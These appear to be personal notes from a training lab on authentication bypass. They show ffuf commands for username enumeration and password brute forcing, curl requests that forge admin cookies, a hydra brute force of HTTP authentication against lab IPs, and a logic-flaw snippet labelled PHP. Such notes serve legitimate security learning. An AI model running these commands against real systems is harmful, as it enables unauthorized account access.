Authentication bypass

Username Enumeration

A helpful exercise to complete when trying to find authentication vulnerabilities is creating a list of valid usernames, which we'll use later in other tasks.

Automated with ffuf:

ffuf -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-urlencoded" -u <http://10.10.83.53/customers/signup> -mr "username already exists"

Brute forcing passwords with username list and password list with ffuf:

ffuf -w valid_usernames.txt:W1,/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u <http://10.10.83.53/customers/login> -fc 200

Logic flaw

Example:

if( url.substr(0,6) === '/admin') {
    # Code to check user is an admin
} else {
    # View Page
}

Because the above PHP code example uses three equals signs (===), it's looking for an exact match on the string, including the same letter casing. The code presents a logic flaw because an unauthenticated user requesting /adMin will not have their privileges checked and have the page displayed to them, totally bypassing the authentication checks.

Examining and editing the cookies set by the web server during your online session can have multiple outcomes, such as unauthenticated access, access to another user's account, or elevated privileges.

curl -H "Cookie: logged_in=true; admin=false" <http://10.10.83.53/cookie-test>
curl -H "Cookie: logged_in=true; admin=true" <http://10.10.83.53/cookie-test>

https://jwt.io/


HTTP authentication header bruteforce

hydra -l rascal -P ~/operations/rockyou.txt 10.10.31.86 http-head / -I

Last updated